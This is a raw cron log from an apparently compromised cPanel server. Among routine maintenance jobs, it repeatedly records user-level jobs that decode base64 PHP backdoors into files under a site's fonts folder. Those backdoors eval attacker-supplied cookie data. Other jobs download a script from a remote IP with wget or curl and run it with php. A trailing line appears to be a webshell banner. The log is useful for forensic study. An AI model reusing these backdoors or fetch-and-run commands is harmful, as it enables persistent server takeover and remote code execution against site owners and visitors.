Feb 22 16:43:01 ip-184-168-122-23 CROND[1624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:43:01 ip-184-168-122-23 CROND[1623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:43:01 ip-184-168-122-23 CROND[1627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:43:01 ip-184-168-122-23 CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:44:01 ip-184-168-122-23 CROND[1972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:44:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:44:01 ip-184-168-122-23 CROND[1973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:45:01 ip-184-168-122-23 CROND[2393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2396]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:45:01 ip-184-168-122-23 CROND[2394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:46:01 ip-184-168-122-23 CROND[2741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2746]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 16:46:01 ip-184-168-122-23 CROND[2744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:47:01 ip-184-168-122-23 CROND[3063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:47:01 ip-184-168-122-23 CROND[3062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:47:01 ip-184-168-122-23 CROND[3064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:47:01 ip-184-168-122-23 CROND[3065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:48:01 ip-184-168-122-23 CROND[3383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:48:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:49:01 ip-184-168-122-23 CROND[3728]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:49:01 ip-184-168-122-23 CROND[3732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:49:01 ip-184-168-122-23 CROND[3733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Zerion Mini 1.0